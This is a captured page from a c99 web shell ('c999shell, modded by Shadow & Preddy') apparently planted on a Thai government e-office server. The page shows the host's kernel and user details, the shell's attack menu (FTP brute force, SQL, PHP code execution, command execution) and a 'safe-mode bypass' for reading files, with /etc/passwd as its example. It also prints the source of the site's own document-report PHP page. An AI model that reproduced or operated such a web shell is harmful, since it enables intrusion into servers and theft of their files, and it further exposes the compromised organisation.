!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchRepRegisDocDept.php (11.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once "../link/function.php";
include_once "../class/clsDocType.php";
include_once "../class/clsDepartment.php";
include_once "../class/clsDocLineConfig.php";
include_once "../class/clsPerson.php";
include_once "../class/clsDocLinePosition.php";
include_once "funct.php";
include_once "../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC); 
$oDP = new Department($oC);
$oDlc = new DocLineConfig($oC);
$oPS = new person($oC);
$oDlp = new docLinePosition($oC);

$InputThai=$oSys->SearchByInputThai();
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">รายงาน</a>
	<img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายงานทะเบียนหนังสือราชการของหน่วยงานแยกตามหน่วยงานย่อย</font>
	</legend>
		<form name="ff"  target="_blank">
		<table width="85%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
		<? 

				$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
				$oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();
				if($oDlp->DlpID=="9" || $oDlp->DlpID=="10" || $oDlp->DlpID=="11" || $oDlp->DlpID=="12"){  
					$seeAlldept=1;
		?>
		<tr><td colspan="6" align="center" height="30"><strong>รายงานทะเบียนหนังสือราชการของหน่วยงานแยกตามหน่วยงานย่อย</strong></td></tr>
		<tr><td colspan="6" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>เลือกหน่วยงาน</strong></font></td></tr>
		<tr><td colspan="6">&nbsp;
						<select name="deptId">
                      <option value="0">- เลือกหน่วยงาน -</option>
                      <? $oDP->SearchBydeptDateDocGroup($oDP->SearchMaxDocGroup());
							while($oDP->GetRecord()){?>
                      <option value="<? echo $oDP->deptId;?>" <? if($oDP->deptId==$deptId){   echo "selected";  }?>><? echo $oDP->deptName; ?></option>
                      <? } ?>
                    </select>
		</td></tr>
		<? }else{    
				if($GroupID=="108"){
					$personId=$oU->userPsCode;
					$oPS->SearchByKey($personId); $oPS->GetRecord(); 
					$oDP->SearchByKey($oPS->deptId);  $oDP->GetRecord(); 
					$deptIdPs=$oDP->deptId;
				}else{
					$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
					$oDP->SearchByKey($oDlc->deptId);  $oDP->GetRecord(); 
					$deptIdPs=$oDP->deptId;
				}
		?>
		<tr><td colspan="6" align="center" height="22"><strong>รายงานทะเบียนหนังสือราชการของหน่วยงานแยกตามหน่วยงานย่อย ฝ่าย:: <? echo $oDP->deptName; ?></strong></td></tr>	
		<? } ?>
		
		<tr>
            <td colspan="6" height="22">&nbsp;</td>
          </tr>
		<tr><td colspan="6"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
              เลือกประเภททะเบียน</strong></font></td></tr>
		<? //------Out receive send 
				$oDt->SearchRepReceiveDoc();
				while($oDt->GetRecord()){
					if($oDt->DtID!=14){
						$Dt2=$oDt->DtID."2";
		?>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input name="RPType" type="radio"  id="RPType<? echo $Dt2; ?>"  value="<? echo $Dt2; ?>" <? if($oDt->DtID=="1"){  ?>checked<? } ?> onClick="radioSelectType('<? echo $Dt2; ?>')"></td><td colspan="4">รายงานทะเบียนส่ง<?  echo $oDt->DtName; ?></td></tr>	 	  
		<? } }
						$Dt1="1"."3";
						$Dt6="2"."3";
		?>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input name="RPType" type="radio"  id="RPType<? echo $Dt1; ?>"  value="<? echo $Dt1; ?>"  onClick="radioSelectType('<? echo $Dt1; ?>')"></td><td colspan="4">รายงานทะเบียนรับ<? $oDt->SearchByKey(1); $oDt->GetRecord();echo $oDt->DtName;?></td></tr>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input name="RPType" type="radio"  id="RPType<? echo $Dt6; ?>"  value="<? echo $Dt6; ?>"  onClick="radioSelectType('<? echo $Dt6; ?>')"></td><td colspan="4">รายงานทะเบียนรับ<? $oDt->SearchByKey(2); $oDt->GetRecord();echo $oDt->DtName;?></td></tr>
		<? //-------In 
				$oDt->RSdoctypeDtNoRunAll();
				while($oDt->GetRecord()){
						$Dt3=$oDt->DtID."3";
						$Dt4=$oDt->DtID."4";
						
		?>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input name="RPType" type="radio"  id="RPType<? echo $Dt3; ?>"  value="<? echo $Dt3; ?>" onClick="radioSelectType('<? echo $Dt3; ?>')" ></td><td colspan="4">รายงานทะเบียนรับ<?  echo $oDt->DtName; ?></td></tr>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input name="RPType" type="radio"  id="RPType<? echo $Dt4; ?>"  value="<? echo $Dt4; ?>" onClick="radioSelectType('<? echo $Dt4; ?>')" ></td><td colspan="4">รายงานทะเบียนส่ง<?  echo $oDt->DtName; ?></td></tr>
		<? } ?>
		
		<? //-------for regis 
				$oDt->SearchRepRegisDoc();
				while($oDt->GetRecord()){
						$Dt5=$oDt->DtID."5";
		?>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input name="RPType" type="radio"  id="RPType<? echo $Dt5; ?>"  value="<? echo $Dt5; ?>" onClick="radioSelectType('<? echo $Dt5; ?>')" ></td><td colspan="4">รายงานทะเบียน<?  echo $oDt->DtName; ?></td></tr>
		<? } ?>
		
		<tr><td colspan="6"><hr color="#000099"></hr></td></tr>
		<tr><td colspan="6"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ที่หนังสือหรือชื่อเรื่องหนังสือราชการที่ต้องการค้นหา</strong></font></td></tr>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;</td><td colspan="4">เลือกช่วงเลขทะเบียนหนังสือราชการที่ต้องการ&nbsp;จาก : <input name="DocTypeNoStart" type="text" size="5">&nbsp;ถึง : <input name="DocTypeNoEnd" type="text" size="5" maxlength="23" ></td></tr>	 
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;</td><td colspan="4">ใส่ชื่อเรื่องหนังสือราชการที่ต้องการค้นหา :&nbsp;<input name="DocSubject" type="text" size="30"></td></tr>	
		<tr><td colspan="6"><hr color="#000099"></hr></td></tr> 
		<tr><td colspan="6"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>เลือกปีหรือช่วงวันที่ของทะเบียนหนังสือ</strong></font></td></tr>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input type="radio" name="selectVal"  id="selectVal1" value="1" checked onClick="radioSelectVal(1)"></td><td colspan="4">ประจำปีปฎิทิน&nbsp;<input name="searchY" type="text" size="5" value=<?  echo a2th(Date('Y')+543); ?> onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai; ?>'); return event.keyCode;" ></td></tr>
		<tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;&nbsp;<input type="radio" name="selectVal"  id="selectVal2" value="2" onClick="radioSelectVal(2)"></td><td width="10%">ตั้งแต่วันที่&nbsp;</td><td width="27%"><script>DateInput('DocDateCreateStart', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script></td><td width="7%" align="center">ถึง</td><td width="53%"><script>DateInput('DocDateCreateEnd', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script></td></tr>
		<tr><td colspan="6"><hr color="#000099"></hr></td></tr>
		<tr><td colspan="6"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>เรียงลำดับข้อมูลจาก</strong></font>&nbsp;<input name="printorder" type="radio" value="1" id='printorder1' checked> มากไปน้อย&nbsp;<input name="printorder" type="radio" value="2" id='printorder2'> น้อยไปมาก</td></tr>
		<tr><td colspan="6" align="right"><input name="" type="button" value="ออกรายงาน" onClick = "if(chkDate()) sendPage('<? echo $seeAlldept; ?>','<? echo $deptIdPs; ?>');  else return false; "></td></tr>
		</table>
		 </form></fieldset> 
		  <table width="100%" border="0" align="center">
        <tr> 
          <td width="134" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="1111" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ชื่อเรื่องหนังสือ</font></td>
        </tr>
		<tr> 
          <td width="134">&nbsp;</td>
          <td width="1111" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">
           1. ไม่ต้องใส่ชื่อเต็มทั้งหมด</font></td>
        </tr>
		<tr> 
          <td width="134">&nbsp;</td>
          <td width="1111" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">
          2. ใส่เฉพาะบางคำ ให้ระบบช่วยค้นหาได้</font></td>
        </tr>
		</table>
</td>
</tr>
</table>
</body>
</html>	
<script language="javascript">
  function chkDate(){
	val = document.getElementById('selectVal').value;
	if(val == 2){
		f = document.ff;
		var date1 = f.DocDateCreateStart.value.split("/");
		var date2 = f.DocDateCreateEnd.value.split("/");
		//Set the two dates
		date1 = new Date(eval(date1[2]), eval(date1[1]-1), eval(date1[0]));
		date2 = new Date(eval(date2[2]), eval(date2[1]-1), eval(date2[0])); //Month is 0-11 in JavaScript
		//Set 1 day in milliseconds
		var one_day = 1000*60*60*24;
		//Calculate difference btw the two dates, and convert to days
		var diff = Math.ceil((date2.getTime()-date1.getTime())/(one_day));
		if(diff < 0){
			alert("กรุณาตรวจสอบช่วง 'วันที่เริ่มต้น' ควรน้อยกว่า 'วันที่สิ้นสุด' !");
			return false;
		}else{
			return true;
		}
	}else{
		return true;
	}
 }
 function sendPage(p,q) {
 	if(p==1){
		if(document.ff.deptId.value==0){
					alert("กรุณาเลือกหน่วยงาน");
					document.ff.deptId.focus();
					return false ;
		}
	}
			var links;
			var typeshow;
			typeshow= document.getElementById('RPtype').value;
			var DocSubject=document.ff.DocSubject.value;
			var DocTypeNoStart=document.ff.DocTypeNoStart.value;
			var DocTypeNoEnd=document.ff.DocTypeNoEnd.value;
			
			var printorder1=document.getElementById('printorder1').value;
			var printorder2=document.getElementById('printorder2').value;
			
			if(document.getElementById('printorder1').checked==1){
				printorder=1;
			}else if(document.getElementById('printorder2').checked){
				printorder=2;
			}
	
			if(p!=1){
					var deptId=q;
			}else{
					var deptId=document.ff.deptId.value;
			}
			if(DocTypeNoEnd==""){
				DocTypeNoEnd=DocTypeNoStart;
			}else if(DocTypeNoStart==""){
			   DocTypeNoStart=DocTypeNoEnd;
			}
			
			if(val == 1){
				var yearDoc = document.ff.searchY.value;
				var date1 = 0;
				var date2 = 0;
			}else if(val == 2){
				var yearDoc = 0;
				var date1 = document.ff.DocDateCreateStart.value;
				var date2 = document.ff.DocDateCreateEnd.value;
			}
			
			links = "./printRepRegisDocDept.php?typeshow="+typeshow+"&DocSubject="+DocSubject+'&start='+date1+'&end='+date2+"&yearDoc="+yearDoc+"&DocTypeNoStart="+DocTypeNoStart+"&DocTypeNoEnd="+DocTypeNoEnd+"&deptId="+deptId+"&printorder="+printorder;
			window.open(links,'','toolbar=0, scrollbars=1, location=0, status=1, menubar=1, resizable=1, width=950, height=620, left = 150, top = 15');

}
function radioSelectType(val){
	document.getElementById('RPtype').value=val;
}
function radioSelectVal(val){
	document.getElementById('selectVal').value=val;
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0042 ]--